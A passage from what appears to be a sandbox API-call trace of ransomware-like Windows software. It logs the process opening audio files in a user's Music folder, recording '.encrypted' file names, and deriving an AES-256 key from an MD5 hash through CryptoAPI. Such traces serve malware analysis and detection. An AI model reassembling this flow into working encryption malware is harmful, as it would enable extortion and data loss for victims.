liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7728) returned 1 [0027.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.encrypted.wav\r\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0027.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.encrypted.wav\r\n", cchWideChar=76, lpMultiByteStr=0xe8f4069fb0, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 76 [0027.533] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069bf0*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069bf0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4b, lpOverlapped=0x0) returned 1 [0027.533] CloseHandle (hObject=0x188) returned 1 [0027.534] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.534] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.534] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.534] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.534] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.534] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.534] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.535] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.536] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.536] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.561] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.m4a", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0027.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.m4a", cchWideChar=65, lpMultiByteStr=0xe8f4051860, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.m4a", lpUsedDefaultChar=0x0) returned 65 [0027.561] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\zcljlew5ko3qlsrl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0027.561] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0xe8f4067bb0, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\zcLJLew5Ko3qLSRl.m4a") returned 65 [0027.562] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.562] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.562] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.563] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.563] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.563] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.563] CloseHandle (hObject=0x188) returned 1 [0027.563] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.563] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.563] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.568] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.568] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.568] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.568] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.568] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.568] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.568] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.569] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.569] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.571] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.571] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.571] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.571] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.572] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.572] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.572] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.572] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.572] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.573] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.573] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.573] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.573] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.573] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.574] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.574] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.574] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.574] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.574] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.574] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.574] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.575] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.575] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.575] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b750, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.575] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.575] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.575] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.575] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.575] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.576] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.576] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.576] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.576] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.576] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.576] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.576] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.577] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417b1c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0027.577] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0027.577] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0027.577] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.579] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, 